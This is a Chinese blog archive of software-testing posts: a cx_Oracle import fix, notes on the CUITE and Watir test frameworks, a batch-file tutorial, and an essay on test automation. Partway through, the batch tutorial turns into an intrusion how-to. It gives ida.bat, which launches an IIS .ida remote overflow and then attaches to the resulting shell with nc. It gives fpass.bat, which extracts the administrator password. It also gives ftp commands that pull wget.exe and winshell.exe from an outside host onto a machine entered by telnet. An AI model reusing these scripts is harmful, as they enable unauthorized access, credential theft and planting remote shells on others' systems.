-
importerror: dll load failed: %1 is not a valid win32 application.
2014-06-10 12:07:05
最近用robotframework 操作数据库的时候碰到一个问题 import cx_oracle报错。我操作系统是64位的server2008,python是32bit的2.7。最后总结的原因应该是python的版本应该和cx_oracle的位数是要一样的。 还有一点就是替换oci.dll的时候需要删掉cx_Oracle.pyd这个文件。问题参照:http://lijunwei1228ok.blog.163.com/blog/static/9738379720140221950632/后来碰到Unable to acquire Oracle environment handle 这个错 把oracle client 下面的oraociei10.dll,oraocci10.dll这两个dll也拷贝到sitepackage下解决。 -
VS2010 Code UI Test 开源框架CUITE介绍
2012-08-27 16:57:55
CUITE框架工作流程:
1. 定义页面控件(ObjectRepository)。
2. 定义操作步骤(Test Cases).
执行过程:
1. 加载ObjectRepository类并生成实例
2. ObjectRepositoryManager.cs 使用反射拿到ObjectRepository实例中各个field
3. 利用反射生成field对应实例,使用wrap方法,讲searchproperty及class type赋给UITestControl(T),通过T来操作UI控件。
CUITE框架源码结构:
1. 定义接口ICUITE_ControlBase
2. 定义类CUITE_ControlBase 继承接口ICUITE_ControlBase, 类包含泛型字段T,T为UITestControl 类型。
3. 类CUITE_ControlBase提供wrap和unwrap方法,用来生成运行时对象T,及返回T对象
4. 类CUITE_ControlBase封装方法中加了WaitForControlReady处理
5. 针对不同的控件类型封装了几种basecontrol(HtmlControls, WinControls, TelerikControls), 像类CUITE_HtmlControl, 继承于CUITE_ControlBase,并新增了Html特有的一些属性及方法,如属性InnerText
6. 封装Html控件类型为CUITE_Html..,继承与CUITE_HtmlControl,提供一些额外的方法。如CUITe_HtmlCheckBox类,提供方法Check2,使用javascript方式来选中checkbox。
-
HTML Elements supported by Watir
2008-09-07 14:07:02
The HTML Elements that are currently supported include:
button
<input> tags with type=button, submit, image or reset
radio
<input> tags with the type=radio; known as radio buttons
check_box
<input> tags with type=checkbox
text_field
<input> tags with the type=text (single-line), type=textarea (multi-line), and type=password
hidden
<input> tags with type=hidden
select_list
<select> tags, known as drop-downs or drop-down lists
label
<label> tags (including "for" attribute)
span
<span> tags
div
<div> tags
p
<p> (paragraph) tags
link
<a> (anchor) tags
table
<table> tags, including row and cell methods for accessing nested elements.
image
<img> tags
form
<form> tags
frame
frames, including both the <frame> elements and the corresponding pages.
map
<map> tags
area
<area> tags
li
<li> tags
:id
Used to find an element that has an "id=" attribute. Since each id should be unique, according to the XHTML specification, this is recommended as the most reliable method to find an object. *
:name
Used to find an element that has a "name=" attribute. This is useful for older versions of HTML, but "name" is deprecated in XHTML. *
:value
Used to find a text field with a given default value, or a button with a given caption, or a text field
:text
Used for links, spans, divs and other element that contain text.
:index
Used to find the nth element of the specified type on a page. For example, button(:index, 2) finds the second button. Current versions of WATIR use 1-based indexing, but future versions will use 0-based indexing.
:class
Used for an element that has a "class=" attribute.
:title
Used for an element that has a "title=" attribute.
:xpath
Finds the item using xpath query.
:method
Used only for forms, the method attribute of a form is either GET or POST.
:action
Used only for form elements, specifies the URL where the form is to be submitted.
:href
Used to identify a link by its "href=" attribute.
:src
Used to identify an image by its URL.
* :id and :name are the quickest of these to process, and so should be used when possible to speed up scrīpts.
原文地址:http://wiki.openqa.org/display/WTR/Methods+supported+by+Element -
BAT介绍
2008-08-12 22:07:35
批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用。
首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。
第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
批处理的作用
简单的说,批处理的作用就是自动的连续执行多条命令。
这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?
好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\
以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。
3、if errorlevel <数字> 待执行的命令
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用“:字符串”来定义,标号所在行不被执行。
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只显示提示。
/? 显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。
示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
批处理示例
1. IF-EXIST
1)
首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然后运行它:
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
2)
接着再建立一个test2.bat文件,内容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上。
说明:
(1) IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果运行:
C:\>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行:
C:\>TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,内容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:\>TEST4
如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format(y/n)?”下用户键入n结束
xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
3、IF STRING1 == STRING2
建立TEST5.BAT,文件内容如下:
@echo off
IF "%1" == "A" formAT A:
执行:
C:\>TEST5 A
屏幕上就出现是否将A:盘格式化的内容。
注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
如:if [%1]==[A] 或者 if %1*==A*
5、GOTO
建立TEST6.BAT,文件内容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE
注意:
(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
6、FOR
建立C:\TEST7.BAT,文件内容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
运行:
C:>TEST7
执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。
win2000命令行方式批处理BAT文件技巧
文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
###########################
1. 所有内置命令的帮助信息
###########################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
#############################
2. 环境变量的概念
#############################
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 <DIR> Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
C:\>cd pro*
C:\Program Files>
C:\>
C:\>cd "Program Files"
C:\Program Files>
############################################
3. 内置的特殊符号(实际使用中间注意避开)
############################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
########################
4. 简单批处理文件概念
########################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.
________________test.bat______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
___________________ida.bat_____
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_______
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w -
[转贴]什么时候应该进行自动化测试?(源创文章【翻译】)
2008-06-09 10:31:18
我希望可以自动化实现尽可能多的测试。如果只跑一次测试会使我很不舒服。如果一个程序员改变了代码并引进了一个bug,怎么办?如果我没抓住那个缺陷,只是因为我在变化之后没有进行新的测试,怎么办?我将不感到可怕吗?所以我需要使用自动化测试工具来实现多次的重复测试工作。
恩,是这样的,当我使用了自动化测试后也没有觉得舒服。测试花费了很长的时间,最终发现是我过度的使用了自动化测试。在我定义的测试里其实只有少量的测试需要自动化测试来帮助完成。多余的自动化测试在运行时是不会发现任何有价值的bug的,毫无意义!
现在的问题是怎样做合理的自动化测试呢?当我从事测试这项工作,作为一个测试员我一般会为一些产品功能设计一系列的测试。对他们中的每个来说,我需要决定哪个测试应该使用自动化测试来进行。这篇文章描述了我在权衡测试中的看法。
设想
为了使我的论点清楚,我一定要避免一次去尝试描述所有可能的测试设想。如果我挑选一个很有用的设想,清楚的描述它,你作为一个读者会很好的了解。然后留下你把论点用于你具体的项目中。下面是我的设想:
1. 首先,你应该拥有一个固定的自动化的支持。即,自动化工具是可用的。你可以不是一位专家,但是你必须知道怎样使用他们。写好配置文件。我设想你使用已有的工具进行工作,不会去使用新的工具,将一些简单的功能放到配置文件中,或者了解更多的测试自动化。问题是:凭你现有的这些可以证明你的自动化测试一定是正确地吗?现在给你这个答案还为时过早。
在其他情况下,你可能赞同在一个工程后期增加自动化测试。在本文中没有对到好与不好做辩论,但通过上下文,你会知道自动化测试的价值所在。
2. 这里只有两种可能性:完全的自动化测试,没有一点的人为操作;全手工进行的自动化测试,使用一次测试后就该扔掉了。这是一个事务上的两个极端。你可以自动化测试那些组织起来很麻烦的部分,但是其余留下的部分做手工。你可能有足够用的很仔细的文献证明能容易再跑一次手动测试。当你深刻理解了从一个极端到另一个极端的时候,你将会清楚的认识到在一个连续的统一体上特殊的测试点应该在哪里。
3. 自动化测试和手工测试是似是而非的。当然也不是总是这种情况。例如,负载测试经常需要创造大量的使用者的同时操作的情况。如果需要300个测试员同时使用一个产品,很明显是很低效的。所以负载测试需要被自动化。
4. 通过外部接口所做的测试(“黑箱测试”)。相同的analysis applies在代码级测试——在文章的后面会给出一个简短的例子——但是我将不描述全部细节。
5. 没有必要必须什么情况都使用自动化测试。经验告诉我们在测试中需要把自动化测试和手工测试完美的结合。
6. 首先你需要设计好测试然后决定它是否需要被自动化执行。实际上,自动化的需要对设计的影响是很普遍的。这让人很伤心,因为有些时候测试会被减弱只是因为使用了自动化。但是,如果你理解了自动化测试并正确地使用它,它可以给程序带来无害的调整甚至改进。
7. 你有一定量时间完成你的测试。你应该尽力在规定时间内做更好的测试。在测试开始时,会在是否要测试不那么普通的情况和需要的时间上有一些争论。
Overview
我的解决过程用到了这些问题。
1. 如果自动化执行一次测试需要的时间多于其做简单的手工测试的时间,会多多少时间?
2. 一个自动化测试过程有一个生命周期,在其生存期它必须赔偿那额外的成本。迟早这次试验可能死吗?什么事件很可能结束它?
3. 在它的生存期内,它测试出额外bug的可能性(是否在测试的第一时间内发现了bug)?怎样平衡这些不可预测的问题和代价之间的关系?
如果这些问题没有被彻底的解决,其他小的问题就没有平衡可言。
第3个问题是必要的,这个我将在大多数细节里继续探索。令人遗憾,一个好的答案需要对一个产品有更好的理解,我将解释应该怎样去把握一个准确的理解。使用自动化测试会失去什么?
通常创造一个自动化测试往往要比手工的进行一次测试所要花费的时间多。(注释一)而费用上的微小的变化取决于这个产品和它的自动化设计。
l 如果产品需要经过一个GUI(图形用户接口)被测试,那么你的自动化测试计划手稿中就需要准备驱动GUI接口的部分(本质上要有简单的计划),在很多时候一个自动化测试其花费会和手工测试差不多。
l 如果你使用GUI capture/replay工具来记录产品内部接口间的交互并通过这些构建一个脚本的话,自动化测试相对来说是便宜的。但是,当因为错误导致需要重头安排自动化测试的时候,当需要组织整理测试的一些文档记录的时候,当测试进程陷入到bug中并且不断恶化的时候,等等这些,自动化测试就不像人工测试那样的廉宜。这些小细节下引起的成本的追加往往会不容易使人们注意它。
l 如果你现在正在对一个编译器进行测试,那么使用自动化测试的成本就会比使用手工的要多一些,应为大部分的时间会为编译器写测试计划,来使编译器根据计划进行编译。这些计划无论会不会被重复使用都的编写。而往往这些计划都不会被重复使用。
如果你的测试环境对使用自动化测试非常适合,而使用自动化测试的花费只比手工测试多的10%的话。(我认为这种情况很罕见。)这意味着,一旦你自动化实行了十次测试,做一次手工测试——对产品做一次独特的测试——这在用户提出要求前是不可能实行的。如果自动化测试的花费是更大的,那十个自动化测试可以替代运行十个、二十个或者更多的手工测试的话,应该如何掌握和处理呢,我们会发现什么?
所以,我们第一个测试自动化的问题应该是这样的:
如果我对它进行自动化测试,我会失去手工测试中的什么?我会丢掉多少bug,自动化测试的严格性?
依赖于你的设计,其答案是会变化的。假设你是一个电信系统的测试人员,在这里对其质量要求是很高的而且测试的预算会是非常充足的。你的答案可能是“如果我用自动化执行这个测试,我将或许会失去三个手工测试点。但是,我做好了非常漂亮的完整的测试设计工作,我清楚的认识到那些额外的测试只会对现有的测试产生一些价值不高的变化。严格的说,他们应该分别的执行,因为我真的怀疑他们也许会发现新的严重的bug。”对你来说,自动化测试的价值是很低的。
或者你正在测试一个产品需求和代码在最近几个月内在不停变化的工程的1.0版本。你的答案可能是“嘿!我没有时间去尝试为每一个明显的变化都重新做一次测试。这种情况下,我将会使用自动化来进行测试,同时我要保证其发现新的严重的bug的机会降到最低。”对你来说,自动化测试的价值是很高的。
